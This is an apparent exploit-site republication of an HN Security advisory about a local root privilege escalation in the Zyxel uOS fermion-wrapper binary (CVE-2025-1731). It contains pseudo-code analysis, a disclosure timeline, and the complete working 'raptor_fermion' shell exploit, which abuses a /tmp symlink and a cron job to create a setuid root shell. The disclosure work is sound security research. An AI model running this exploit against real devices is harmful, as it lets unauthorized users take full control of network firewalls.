{"id":1198,"date":"2025-04-23T11:31:36","date_gmt":"2025-04-23T11:31:36","guid":{"rendered":"http:\/\/localhost\/?p=1198"},"modified":"2025-04-23T11:31:36","modified_gmt":"2025-04-23T11:31:36","slug":"zyxel-uos-131-privilege-escalation","status":"publish","type":"post","link":"https:\/\/zero.redgem.net\/?p=1198","title":{"rendered":"Zyxel uOS 1.31 Privilege Escalation"},"content":{"rendered":"<h2>Exploit Details<\/h2>\n<h3>Basic Information<\/h3>\n<table style=\"width:100%; border-collapse: collapse; margin-bottom: 20px;\">\n<tr>\n<th style=\"text-align: left; padding: 8px; border: 1px solid #ddd; \">Exploit Title<\/th>\n<td style=\"padding: 8px; border: 1px solid #ddd;\">Zyxel uOS 1.31 Privilege Escalation<\/td>\n<\/tr>\n<tr>\n<th style=\"text-align: left; padding: 8px; border: 1px solid #ddd; \">Exploit ID<\/th>\n<td style=\"padding: 8px; border: 1px solid #ddd;\">PACKETSTORM:190622<\/td>\n<\/tr>\n<tr>\n<th style=\"text-align: left; padding: 8px; border: 1px solid #ddd; \">Type<\/th>\n<td style=\"padding: 8px; border: 1px solid #ddd;\">packetstorm<\/td>\n<\/tr>\n<tr>\n<th style=\"text-align: left; padding: 8px; border: 1px solid #ddd; \">Published<\/th>\n<td style=\"padding: 8px; border: 1px solid #ddd;\">2025-04-23T00:00:00<\/td>\n<\/tr>\n<tr>\n<th style=\"text-align: left; padding: 8px; border: 1px solid #ddd; \">Modified<\/th>\n<td style=\"padding: 8px; border: 1px solid #ddd;\">2025-04-23T00:00:00<\/td>\n<\/tr>\n<\/table>\n<h3>CVSS Information<\/h3>\n<table style=\"width:100%; border-collapse: collapse; margin-bottom: 20px;\">\n<tr>\n<th style=\"text-align: left; padding: 8px; border: 1px solid #ddd; \">CVSS Score<\/th>\n<td style=\"padding: 8px; border: 1px solid #ddd;\">7.8<\/td>\n<\/tr>\n<tr>\n<th style=\"text-align: left; padding: 8px; border: 1px solid #ddd; \">Severity<\/th>\n<td style=\"padding: 8px; border: 1px solid #ddd; color: #ff4444; font-weight: bold;\">HIGH<\/td>\n<\/tr>\n<tr>\n<th style=\"text-align: left; padding: 8px; border: 1px solid #ddd; \">Vector<\/th>\n<td style=\"padding: 8px; border: 1px solid #ddd;\">CVSS:3.1\/AV:L\/AC:L\/PR:L\/UI:N\/S:U\/C:H\/I:H\/A:H<\/td>\n<\/tr>\n<\/table>\n<h3>CVE Information<\/h3>\n<div style=\" padding: 15px; border: 1px solid #ddd; margin-bottom: 20px;\">\n<ul style=\"margin: 0; padding-left: 20px;\">\n<li>CVE-2025-1731<\/li>\n<li>CVE-2025-1732<\/li>\n<\/ul>\n<\/div>\n<h3>Exploit Description<\/h3>\n<div style=\" padding: 15px; border-left: 4px solid #4CAF50; margin-bottom: 20px;\">\nThe USG FLEX H Series with the operating system Zyxel uOS version 1.31 suffers&#8230;\n<\/div>\n<h3>Exploit Code<\/h3>\n<div style=\" color: #d4d4d4; padding: 15px; border: 1px solid #ddd; margin-bottom: 20px; font-family: 'Courier New', monospace; white-space: pre-wrap; overflow-x: auto;\">\n&#8211;[ HNS-2025-10 &#8211; HN Security Advisory &#8211; https:\/\/security.humanativaspa.it\/<\/p>\n<p>    * Title: Local privilege escalation via Zyxel fermion-wrapper<br \/>    * Product: USG FLEX H Series<br \/>    * OS: Zyxel uOS V1.31 (and potentially earlier versions)<br \/>    * Author: Marco Ivaldi <marco.ivaldi@hnsecurity.it><br \/>    * Date: 2025-04-23<br \/>    * CVE ID: CVE-2025-1731 (see discussion in &#8220;5 &#8211; Remediation&#8221; below)<br \/>    * Severity: High &#8211; 7.8 &#8211; CVSS:3.1\/AV:L\/AC:L\/PR:L\/UI:N\/S:U\/C:H\/I:H\/A:H<br \/>    * CWE ID: CWE-61 &#8211; https:\/\/cwe.mitre.org\/data\/definitions\/61.html<br \/>    * HN Security URLs:<br \/>      https:\/\/github.com\/hnsecurity\/vulns\/blob\/main\/HNS-2025-10-zyxel-fermion.txt<br \/>      https:\/\/github.com\/0xdea\/exploits\/blob\/master\/zyxel\/raptor_fermion<br \/>      https:\/\/security.humanativaspa.it\/local-privilege-escalation-on-zyxel-usg-flex-h-series-cve-2025-1731<br \/>    * Vendor URLs:<br \/>      https:\/\/www.zyxel.com\/global\/en\/support\/security-advisories\/zyxel-security-advisory-for-incorrect-permission-assignment-and-improper-privilege-management-vulnerabilities-in-usg-flex-h-series-firewalls-04-22-2025<br \/>      https:\/\/community.zyxel.com\/en\/discussion\/28988\/usg-flex-h-series-v1-32patch-0-firmware-release<\/p>\n<p>    &#8211;[ 0 &#8211; Table of contents<\/p>\n<p>    1 &#8211; Summary<br \/>    2 &#8211; Background<br \/>    3 &#8211; Vulnerabilities<br \/>        3.1 &#8211; Analysis<br \/>        3.2 &#8211; Exploitation<br \/>    4 &#8211; Affected products<br \/>    5 &#8211; Remediation<br \/>    6 &#8211; Disclosure timeline<br \/>    7 &#8211; Acknowledgments<br \/>    8 &#8211; References<\/p>\n<p>    &#8211;[ 1 &#8211; Summary<\/p>\n<p>    &#8220;So we wait, this is our labour&#8230; we wait.&#8221;<br \/>                  &#8212; Anthony Swofford on fuzzing<\/p>\n<p>    The Zyxel USG FLEX H Series is a high-performance firewall series designed to<br \/>    meet the needs of demanding and high-speed networks. It features several<br \/>    gigabit ports, a user-friendly in-house operating system, and excellent<br \/>    performance for tasks like UTM (Unified Threat Management) and VPN (Virtual<br \/>    Private Network) functionalities. The USG FLEX H Series offers faster boot<br \/>    times and improved CPU performance, making it superior to the standard USG FLEX<br \/>    Series [1].<\/p>\n<p>    We have identified some security vulnerabilities in the Zyxel uOS Linux-based<br \/>    operating system distributed with these appliances, that allow local users with<br \/>    access to a Linux OS shell to escalate privileges to root.<\/p>\n<p>    &#8211;[ 2 &#8211; Background<\/p>\n<p>    Because of our previous public research on Zyxel appliances [2], after<br \/>    discovering a remote command execution vulnerability (CVE-2025-1731) in the<br \/>    latest USG FLEX H Series [3], Alessandro Sgreccia (@rainpwn) of HackerHood<br \/>    contacted us and asked for help with finding local privilege escalation<br \/>    vectors.<\/p>\n<p>    Since USG FLEX H Series devices are based on a new aarch64 hardware and ship<br \/>    with a completely revamped Linux-based operating system (Zyxel uOS) that is<br \/>    supposed to be &#8220;secure by default&#8221; (a claim reminiscent of Oracle&#8217;s<br \/>    &#8220;unbreakable&#8221; marketing campaign in the days of yore [4]), we couldn&#8217;t resist<br \/>    giving it a try&#8230; We quickly identified a viable privilege escalation vector<br \/>    related to the `Recovery Manager` functionality (CVE-2025-1732) that was<br \/>    reported to the vendor by Alessandro together with his other findings [3].<\/p>\n<p>    However, we were not done yet. Since Alessandro kindly provided us with access<br \/>    to his USG FLEX 100H test device, we decided to keep looking for some other<br \/>    low-hanging fruits, as an excuse to battle-test our new &#8220;vulnerability<br \/>    divination&#8221; suite written in Rust [5] [6]. We started by examining setuid root<br \/>    binaries distributed with the OS.<\/p>\n<p>    &#8211;[ 3 &#8211; Vulnerabilities<\/p>\n<p>    The custom setuid root binary program `\/usr\/sbin\/fermion-wrapper` follows<br \/>    symbolic links in the `\/tmp` directory when run with the `register-status`<br \/>    argument. This allows local users with access to a Linux OS shell to trick the<br \/>    program into creating writable files at arbitrary locations in the filesystem.<br \/>    This vulnerability can be exploited to overwrite arbitrary files or locally<br \/>    escalate privileges from low-privileged user (e.g., `postgres`) to root.<\/p>\n<p>    In addition, we identified a second issue in the filesystem: the `\/tmp`<br \/>    directory doesn&#8217;t have the sticky bit set. This small, overlooked detail<br \/>    simplifies exploitation of the `fermion-wrapper` vulnerability and may also<br \/>    open the door to all sorts of havoc.<\/p>\n<p>    &#8211;[ 3.1 &#8211; Analysis<\/p>\n<p>    We leveraged our haruspex [7] and oneiromancer [8] tools to streamline our<br \/>    binary audit workflow:<\/p>\n<p>    &#8220;`<br \/>    raptor@fnord Downloads % haruspex fermion-wrapper<br \/>    haruspex 0.4.1 &#8211; Tool to extract IDA decompiler&#8217;s pseudo-code<br \/>    Copyright (c) 2024-2025 Marco Ivaldi <raptor@0xdeadbeef.info><\/p>\n<p>    [*] Trying to analyze binary file &#8220;fermion-wrapper&#8221;<br \/>    [+] Successfully analyzed binary file<\/p>\n<p>    [-] Processor: ARM Little-endian<br \/>    [-] Compiler: GNU<br \/>    [-] File type: ELF<\/p>\n<p>    [*] Preparing output directory &#8220;fermion-wrapper.dec&#8221;<br \/>    [+] Output directory is ready<\/p>\n<p>    [*] Extracting pseudo-code of functions&#8230;<\/p>\n<p>    &#8230;<\/p>\n<p>    [+] Decompiled 98 functions into &#8220;fermion-wrapper.dec&#8221;<br \/>    [+] Done processing binary file &#8220;fermion-wrapper&#8221;<\/p>\n<p>    raptor@fnord Downloads % oneiromancer fermion-wrapper.dec\/sub_4068AC@4068AC.c<br \/>    oneiromancer 0.3.0 &#8211; GenAI assistant for C code analysis<br \/>    Copyright (c) 2025 Marco Ivaldi <raptor@0xdeadbeef.info><\/p>\n<p>    [*] Analyzing source code in &#8220;fermion-wrapper.dec\/sub_4068AC@4068AC.c&#8221;<br \/>    [+] Successfully analyzed source code<\/p>\n<p>    \/*<br \/>     * getDeviceRegistrationStatus()<br \/>     *<br \/>     * This function retrieves the registration status of a device and stores<br \/>     * it in provided pointers. It uses cURL to make an HTTP request to a<br \/>     * specific URL with various options set for authentication and certificate<br \/>     * verification. The response is parsed using JSON to extract relevant<br \/>     * information about the device&#8217;s registration status. If successful,<br \/>     * it updates cache files and performs additional actions based on the<br \/>     * registration status.<br \/>     *\/<\/p>\n<p>    &#8230;<\/p>\n<p>    [*] Saving improved source code in &#8220;fermion-wrapper.dec\/sub_4068AC@4068AC.out.c&#8221;<br \/>    [+] Done analyzing source code<br \/>    &#8220;`<\/p>\n<p>    We ended up with the following relevant pseudo-code for the `sub_4068AC`<br \/>    function, that is called directly by `main`:<\/p>\n<p>    &#8220;`c<br \/>    __int64 __fastcall sub_4068AC(_DWORD *isRegistered, _DWORD *isNeoAgentRegistered, _DWORD *bundleLicenseStatus)<br \/>    {<br \/>    &#8230;<br \/>      requestUrl = &#8220;https:\/\/he.myzyxel.com\/v1\/device\/status&#8221;;<br \/>      jsonData = 0LL;<br \/>      operationResult = -1;<br \/>      statusCheckResult = 7;<br \/>      if ( geteuid() )<br \/>        sub_4072FC(&#8220;\/usr\/bin\/sudo&#8221;, &#8220;\/usr\/bin\/sudo&#8221;, &#8220;\/usr\/bin\/touch&#8221;);<br \/>      bufferSize = sub_4067DC(deviceName, 20);<br \/>      curlHandle = curl_easy_init(bufferSize);<br \/>      if ( curlHandle )<br \/>      {<br \/>        bioMemHandle = BIO_s_mem();<br \/>        bioHandle = BIO_new(bioMemHandle);<br \/>        if ( bioHandle )<br \/>        {<br \/>    &#8230;<br \/>          errorCode = curl_easy_perform(curlHandle);<br \/>          if ( !errorCode )<br \/>          {<br \/>            jsonData = (unsigned __int64 *)json_load_callback(sub_406878, bioHandle, 0LL, &#038;jsonDataPointer);<br \/>            if ( jsonData )<br \/>            {<br \/>              statusValue = (_DWORD *)json_object_get(jsonData, &#8220;register&#8221;);<br \/>    &#8230;<br \/>              if ( !operationResult )<br \/>              {<br \/>                statusCheckResult = 0;<br \/>                statusCode = 2 * (2 * *isRegistered + *isNeoAgentRegistered) + *bundleLicenseStatus;<br \/>                fileStream = fopen(&#8220;\/share\/neoagent\/cache_register_status&#8221;, &#8220;w&#8221;);<br \/>                if ( fileStream )<br \/>                {<br \/>                  fprintf(fileStream, &#8220;%s\\n&#8221;, deviceName);<br \/>                  fprintf(fileStream, &#8220;%d\\n&#8221;, statusCode);<br \/>                  fclose(fileStream);<br \/>                }<br \/>                fileStream = fopen(&#8220;\/tmp\/register_status&#8221;, &#8220;w&#8221;); \/\/ VULN<br \/>                if ( fileStream )<br \/>                {<br \/>                  fprintf(fileStream, &#8220;%s\\n&#8221;, deviceName);<br \/>                  fprintf(fileStream, &#8220;%d\\n&#8221;, statusCode);<br \/>                  fclose(fileStream);<br \/>                }<br \/>                sub_406518(statusCheckResult, deviceName, errorCode);<br \/>                if ( !access(&#8220;\/usr\/sbin\/dha_send_fsync&#8221;, 0) )<br \/>                {<br \/>                  sub_4072FC(&#8220;\/usr\/sbin\/build_dha_cert_neoagent.sh&#8221;, &#8220;\/usr\/sbin\/build_dha_cert_neoagent.sh&#8221;, 0LL);<br \/>                  sub_4072FC(&#8220;\/usr\/sbin\/dha_send_fsync&#8221;, &#8220;\/usr\/sbin\/dha_send_fsync&#8221;, &#8220;8&#8221;);<br \/>                }<br \/>              }<br \/>    &#8230;<br \/>    &#8220;`<\/p>\n<p>    As you might suspect, the vulnerability lies at the line marked with `VULN`:<br \/>    the binary running with elevated privileges can be tricked into following a<br \/>    symbolic link placed in `\/tmp\/register_status` by a local low-privileged user.<\/p>\n<p>    As mentioned earlier, exploitation is simplified by the lack of sticky bit in<br \/>    the filesystem permissions of the `\/tmp` directory, that allows an attacker to<br \/>    replace any existent `\/tmp\/register_status` file even if it&#8217;s owned by another<br \/>    user, including root:<\/p>\n<p>    &#8220;`<br \/>    $ ls -ld \/tmp<br \/>    drwxrwxrwx 30 root root 2240 Feb 27 18:16 \/tmp # \u00af\\_(\u30c4)_\/\u00af<br \/>    &#8220;`<\/p>\n<p>    &#8211;[ 3.2 &#8211; Exploitation<\/p>\n<p>    We have crafted a proof-of-concept exploit [9] that demonstrates how to achieve<br \/>    local privilege escalation. It can be used as follows:<\/p>\n<p>    &#8220;`<br \/>    $ .\/raptor_fermion<br \/>    raptor_fermion &#8211; Zyxel fermion-wrapper root LPE exploit<br \/>    Copyright (c) 2025 Marco Ivaldi <raptor@0xdeadbeef.info><\/p>\n<p>    [*] Exploiting \/usr\/sbin\/fermion-wrapper<br \/>    $ uname -a<br \/>    Linux FLEX100H-HackerHood 4.14.207-10.3.7.0-2 #5 SMP PREEMPT Thu Jan 9 04:34:58 UTC 2025 aarch64 GNU\/Linux<br \/>    $ id<br \/>    uid=502(postgres) gid=502(postgres) groups=502(postgres)<br \/>    $ ls -l \/usr\/sbin\/fermion-wrapper<br \/>    -rwsr-xr-x 1 root root 44288 Jan  9 05:34 \/usr\/sbin\/fermion-wrapper<br \/>    {&#8220;status&#8221;: 0, &#8220;registered&#8221;: 1, &#8220;nebula_registered&#8221;: 1, &#8220;bundle&#8221;: 1}<\/p>\n<p>    [+] Everything looks good \\o\/, wait an hour and check \/tmp\/pwned<br \/>    $ ls -l \/etc\/cron.d\/runme<br \/>    -rw-rw-rw- 1 root postgres 79 Feb 14 15:52 \/etc\/cron.d\/runme<br \/>    $ cat \/etc\/cron.d\/runme<br \/>    * * * * *   cp \/bin\/sh \/tmp\/pwned; chmod 4755 \/tmp\/pwned; rm \/etc\/cron.d\/runme<\/p>\n<p>    [+] Run the shell as follows to bypass bash checks: \/tmp\/pwned -p<\/p>\n<p>    [about one hour later&#8230;]<\/p>\n<p>    $ ls -l \/tmp\/pwned<br \/>    -rwsr-xr-x 1 root root 916608 Feb 14 16:25 \/tmp\/pwned<br \/>    $ \/tmp\/pwned -p<br \/>    # id<br \/>    uid=502(postgres) gid=502(postgres) euid=0(root) groups=502(postgres)<br \/>    # R00t D4nc3!!!111! \\o\/<br \/>    &#8220;`<\/p>\n<p>    The code should be straightforward to understand. Note how we pulled off the<br \/>    old-school `umask 0` trick to be able to control the content of the file<br \/>    created by the vulnerable setuid binary. Also note how for some reason files in<br \/>    `\/etc\/cron.d` get processed every 50 minutes or so, instead of almost instantly<br \/>    as it happens on a standard Linux distribution&#8230; We leave the quest of looking<br \/>    for a better exploitation vector as an exercise for you, dear reader;)<\/p>\n<p>    &#8211;[ 4 &#8211; Affected products<\/p>\n<p>    We confirmed the vulnerabilities in the following products and firmware<br \/>    versions:<\/p>\n<p>    &#8220;`<br \/>    $ cat \/rw\/fwversion<br \/>    &#8230;<br \/>    MODEL_ID=USG FLEX 100H<br \/>    KERNEL_VERSION=4.14<br \/>    CAPWAP_VER=undefined<br \/>    FIRMWARE_VER=1.31(ABXF.0)<br \/>    KERNEL_BUILD_DATE=2025-01-09 04:35:09<br \/>    BUILD_DATE=2025-01-09 04:35:47<br \/>    FSH_VER=1.0.0<br \/>    &#8220;`<\/p>\n<p>    &#8220;`<br \/>    $ cat \/rw\/fwversion<br \/>    &#8230;<br \/>    MODEL_ID=USG FLEX 200H<br \/>    KERNEL_VERSION=4.14<br \/>    CAPWAP_VER=undefined<br \/>    FIRMWARE_VER=1.31(ABWV.0)<br \/>    KERNEL_BUILD_DATE=2025-01-09 05:10:23<br \/>    BUILD_DATE=2025-01-09 05:11:31<br \/>    FSH_VER=1.0.0<br \/>    &#8220;`<\/p>\n<p>    Other products and earlier firmware versions may also be vulnerable. Please<br \/>    refer to Zyxel&#8217;s official security advisory for additional information.<\/p>\n<p>    &#8211;[ 5 &#8211; Remediation<\/p>\n<p>    During the whole coordinated disclosure process, Zyxel was very responsive.<\/p>\n<p>    Unfortunately, they insisted in using the already-assigned CVE-2025-1731 as the<br \/>    identifier for our local privilege escalation vulnerability. These are their<br \/>    statements in this regard:<\/p>\n<p>    &#8220;Our product team has identified that the attack surface of the local<br \/>    privileges escalation issue stems from an incorrect permission assignment<br \/>    within the PostgreSQL commands. This misconfiguration grants users with<br \/>    &#8216;postgres&#8217; privileges the ability to access the Linux shell. A similar issue<br \/>    was recently reported by another researcher, and CVE-2025-1731 has been<br \/>    reserved to identify the vulnerability.&#8221;<\/p>\n<p>    &#8220;We kindly request any evidence demonstrating an alternative method to access<br \/>    the device&#8217;s Linux shell for executing the malicious scripts or the PoC<br \/>    exploit, &#8216;raptor_fermion,&#8217; that you previously shared. If such evidence is<br \/>    unavailable, we will proceed with using CVE-2025-1731 as the identifier for<br \/>    this issue.&#8221;<\/p>\n<p>    &#8220;We could not identify any explicit evidence in your report that demonstrates<br \/>    an alternative method distinct from CVE-2025-1731 that would allow attackers to<br \/>    gain access to the Linux shell. Consequently, we have decided not to assign a<br \/>    separate CVE ID to the local privilege escalation issue, as it aligns with the<br \/>    attack surface of CVE-2025-1731. Nevertheless, we appreciate your finding and<br \/>    will ensure it is acknowledged in CVE-2025-1731.&#8221;<\/p>\n<p>    We regret any confusion caused by this decision.<\/p>\n<p>    As for the lack of sticky bit in the `\/tmp` directory, Zyxel stated the<br \/>    following:<\/p>\n<p>    &#8220;We currently do not consider this a security issue. However, we are open to<br \/>    reevaluating if you can provide a clear example demonstrating how it could<br \/>    result in a denial of service (DoS) problem. Otherwise, we will treat this as<br \/>    an implementation flaw rather than a vulnerability.&#8221;<\/p>\n<p>    Please refer to Zyxel&#8217;s official security advisory for patching information. We<br \/>    have not checked the effectiveness of the fixes.<\/p>\n<p>    &#8211;[ 6 &#8211; Disclosure timeline<\/p>\n<p>    The coordinated disclosure timeline follows:<\/p>\n<p>    2025-02-05: Alessandro Sgreccia contacted us to propose a collaboration.<br \/>    2025-03-10: Zyxel PSIRT was notified via <security@zyxel.com.tw> and<br \/>                acknowledged receipt of our advisory and PoC exploit.<br \/>    2025-03-17: Zyxel PSIRT communicated their intention of using the<br \/>    \t    already-assigned CVE-2025-1731 as the identifier for our LPE.<br \/>    2025-03-17: We disagreed with Zyxel PSIRT and explained that using an unrelated<br \/>                CVE identifier for our issues would likely cause confusion.<br \/>    2025-03-18: Zyxel PSIRT confirmed their decision of not assigning a separate<br \/>                CVE ID to the local privilege escalation issue; they also stated<br \/>                that they don&#8217;t consider the lack of sticky bit in `\/tmp` a<br \/>                security issue, but simply an implementation flaw.<br \/>    2025-04-15: Zyxel released version 1.32 of its firmware that includes fixes for<br \/>                the reported vulnerabilities.<br \/>    2025-04-22: Zyxel PSIRT published their security advisory [3].<br \/>    2025-04-22: Alessandro Sgreccia published his security advisory.<br \/>    2025-04-23: HN Security published this advisory with full details.<\/p>\n<p>    &#8211;[ 7 &#8211; Acknowledgments<\/p>\n<p>    We would like to thank Alessandro Sgreccia (@rainpwn) of HackerHood for<br \/>    involving us in his research and for kindly providing access to his USG FLEX<br \/>    100H test device. It&#8217;s been a pleasure working together!<\/p>\n<p>    &#8211;[ 8 &#8211; References<\/p>\n<p>    [1] https:\/\/support.zyxel.eu\/hc\/en-us\/sections\/17702103398546-Series-USG-FLEX-H<br \/>    [2] https:\/\/security.humanativaspa.it\/tag\/zyxel\/<br \/>    [3] https:\/\/0xdeadc0de.xyz\/blog\/cve-2025-1731_cve-2025-1732<br \/>    [4] https:\/\/www.zdnet.com\/article\/oracles-unbreakable-toy-story\/<br \/>    [5] https:\/\/security.humanativaspa.it\/streamlining-vulnerability-research-with-ida-pro-and-rust\/<br \/>    [6] https:\/\/security.humanativaspa.it\/aiding-reverse-engineering-with-rust-and-a-local-llm\/<br \/>    [7] https:\/\/github.com\/0xdea\/haruspex<br \/>    [8] https:\/\/github.com\/0xdea\/oneiromancer<br \/>    [9] https:\/\/github.com\/0xdea\/exploits\/blob\/master\/zyxel\/raptor_fermion<\/p>\n<p>    Copyright (c) 2025 Marco Ivaldi and Humanativa Group. All rights reserved.<\/p>\n<p>    &#8212; packet storm addition of exploit below &#8212;<\/p>\n<p>    #!\/bin\/sh<\/p>\n<p>    #<br \/>    # raptor_fermion &#8211; Zyxel fermion-wrapper root LPE exploit<br \/>    # Copyright (c) 2025 Marco Ivaldi <raptor@0xdeadbeef.info><br \/>    #<br \/>    # &#8220;So we wait, this is our labour&#8230; we wait.&#8221;<br \/>    #               &#8212; Anthony Swofford on fuzzing<br \/>    #<br \/>    # The setuid root binary program `\/usr\/sbin\/fermion-wrapper` distributed by<br \/>    # Zyxel with some of their appliances follows symbolic links in the `\/tmp`<br \/>    # directory when run with the `register-status` argument. This allows local<br \/>    # users with access to a Linux OS shell to trick the program into creating<br \/>    # writable files at arbitrary locations in the filesystem. This vulnerability<br \/>    # can be exploited to overwrite arbitrary files or locally escalate privileges<br \/>    # from low-privileged user (e.g., `postgres`) to root.<br \/>    #<br \/>    # Note: the `\/tmp` directory doesn&#8217;t have the sticky bit set, which simplifies<br \/>    # exploitation of this vulnerability and may also cause all sorts of havoc.<br \/>    #<br \/>    # ## Vulnerability information<br \/>    #<br \/>    # * CVE ID &#8211; CVE-2025-1731<br \/>    # * High &#8211; 7.8 &#8211; CVSS:3.1\/AV:L\/AC:L\/PR:L\/UI:N\/S:U\/C:H\/I:H\/A:H<br \/>    # * CWE-61 &#8211; https:\/\/cwe.mitre.org\/data\/definitions\/61.html<br \/>    #<br \/>    # ## Relevant links<br \/>    #<br \/>    # * https:\/\/github.com\/hnsecurity\/vulns\/blob\/main\/HNS-2025-10-zyxel-fermion.txt<br \/>    # * https:\/\/security.humanativaspa.it\/local-privilege-escalation-on-zyxel-usg-flex-h-series-cve-2025-1731<br \/>    # * https:\/\/0xdeadc0de.xyz\/blog\/cve-2025-1731_cve-2025-1732<br \/>    # * https:\/\/security.humanativaspa.it\/tag\/zyxel\/<br \/>    #<br \/>    # ## Usage example<br \/>    #<br \/>    # &#8220;`<br \/>    # $ .\/raptor_fermion<br \/>    # raptor_fermion &#8211; Zyxel fermion-wrapper root LPE exploit<br \/>    # Copyright (c) 2025 Marco Ivaldi <raptor@0xdeadbeef.info><br \/>    #<br \/>    # [*] Exploiting \/usr\/sbin\/fermion-wrapper<br \/>    # $ uname -a<br \/>    # Linux FLEX100H-HackerHood 4.14.207-10.3.7.0-2 #5 SMP PREEMPT Thu Jan 9 04:34:58 UTC 2025 aarch64 GNU\/Linux<br \/>    # $ id<br \/>    # uid=502(postgres) gid=502(postgres) groups=502(postgres)<br \/>    # $ ls -l \/usr\/sbin\/fermion-wrapper<br \/>    # -rwsr-xr-x 1 root root 44288 Jan  9 05:34 \/usr\/sbin\/fermion-wrapper<br \/>    # {&#8220;status&#8221;: 0, &#8220;registered&#8221;: 1, &#8220;nebula_registered&#8221;: 1, &#8220;bundle&#8221;: 1}<br \/>    #<br \/>    # [+] Everything looks good \\o\/, wait an hour and check \/tmp\/pwned<br \/>    # $ ls -l \/etc\/cron.d\/runme<br \/>    # -rw-rw-rw- 1 root postgres 79 Feb 14 15:52 \/etc\/cron.d\/runme<br \/>    # $ cat \/etc\/cron.d\/runme<br \/>    # * * * * *   cp \/bin\/sh \/tmp\/pwned; chmod 4755 \/tmp\/pwned; rm \/etc\/cron.d\/runme<br \/>    #<br \/>    # [+] Run the shell as follows to bypass bash checks: \/tmp\/pwned -p<br \/>    #<br \/>    # [about one hour later&#8230;]<br \/>    #<br \/>    # $ ls -l \/tmp\/pwned<br \/>    # -rwsr-xr-x 1 root root 916608 Feb 14 16:25 \/tmp\/pwned<br \/>    # $ \/tmp\/pwned -p<br \/>    # # id<br \/>    # uid=502(postgres) gid=502(postgres) euid=0(root) groups=502(postgres)<br \/>    # # R00t D4nc3!!!111! \\o\/<br \/>    # &#8220;`<br \/>    #<br \/>    # ## Tested on<br \/>    #<br \/>    # * Zyxel FLEX100H with Firmware V1.31(ABXF.0) | 2025-01-09 04:35:47<br \/>    # * Zyxel FLEX200H with Firmware V1.31(ABWV.0) | 2025-01-09 05:11:31<br \/>    #<br \/>    # *Note: other products and firmware versions may also be vulnerable.*<br \/>    #<br \/>    # ## Special thanks<br \/>    #<br \/>    # * Alessandro Sgreccia (@rainpwn) of HackerHood for his research and devices<br \/>    #<\/p>\n<p>    echo &#8220;raptor_fermion &#8211; Zyxel fermion-wrapper root LPE exploit&#8221;<br \/>    echo &#8220;Copyright (c) 2025 Marco Ivaldi <raptor@0xdeadbeef.info>&#8220;<br \/>    echo<\/p>\n<p>    target=&#8221;\/usr\/sbin\/fermion-wrapper&#8221;<br \/>    tmpfile=&#8221;\/tmp\/register_status&#8221;<br \/>    runme=&#8221;\/etc\/cron.d\/runme&#8221;<br \/>    shell=&#8221;\/tmp\/pwned&#8221;<\/p>\n<p>    echo &#8220;[*] Exploiting $target&#8221;<br \/>    echo &#8220;$ uname -a&#8221;<br \/>    uname -a<br \/>    echo &#8220;$ id&#8221;<br \/>    id<br \/>    echo &#8220;$ ls -l $target&#8221;<br \/>    ls -l $target<\/p>\n<p>    umask 0<br \/>    rm $tmpfile<br \/>    ln -s $runme \/tmp\/register_status<br \/>    $target register-status<br \/>    echo &#8220;* * * * *   cp \/bin\/sh $shell; chmod 4755 $shell; rm $runme&#8221; > $runme<\/p>\n<p>    if [ &#8220;`cat $runme 2>\/dev\/null`&#8221; = &#8220;&#8221; ]; then<br \/>    \techo &#8220;[!] Error: something went wrong \u00af\\\\_(\u30c4)_\/\u00af&#8221;<br \/>    \texit 1<br \/>    fi<\/p>\n<p>    echo<br \/>    echo &#8220;[+] Everything looks good \\\\o\/, wait an hour and check $shell&#8221;<br \/>    echo &#8220;$ ls -l $runme&#8221;<br \/>    ls -l $runme<br \/>    echo &#8220;$ cat $runme&#8221;<br \/>    cat $runme<\/p>\n<p>    echo<br \/>    echo &#8220;[+] Run the shell as follows to bypass bash checks: $shell -p&#8221;<br \/>    echo\n<\/div>\n<p><a href=\"https:\/\/packetstorm.news\/files\/id\/190622\/\" target=\"_blank\" style=\"display: inline-block;  color: white; padding: 10px 20px; text-decoration: none; border-radius: 4px;\">View Full Exploit Details<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Exploit Details Basic Information Exploit Title Zyxel uOS 1.31 Privilege Escalation Exploit ID PACKETSTORM:190622 Type packetstorm Published 2025-04-23T00:00:00 Modified 2025-04-23T00:00:00 CVSS Information CVSS Score 7.8&#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,28,12,15,13,53,7,11,5],"class_list":["post-1198","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-cvss-78","tag-exploit","tag-high","tag-news","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.5 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>Zyxel uOS 1.31 Privilege Escalation - zero redgem<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/zero.redgem.net\/?p=1198\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Zyxel uOS 1.31 Privilege Escalation - zero redgem\" \/>\n<meta property=\"og:description\" content=\"Exploit Details Basic Information Exploit Title Zyxel uOS 1.31 Privilege Escalation Exploit ID PACKETSTORM:190622 Type packetstorm Published 2025-04-23T00:00:00 Modified 2025-04-23T00:00:00 CVSS Information CVSS Score 7.8...\" \/>\n<meta property=\"og:url\" content=\"https:\/\/zero.redgem.net\/?p=1198\" \/>\n<meta property=\"og:site_name\" content=\"zero redgem\" \/>\n<meta property=\"article:published_time\" content=\"2025-04-23T11:31:36+00:00\" \/>\n<meta name=\"author\" content=\"invoker\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"invoker\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"13 minutes\" \/>\n<script type=\"application\/ld+json\" 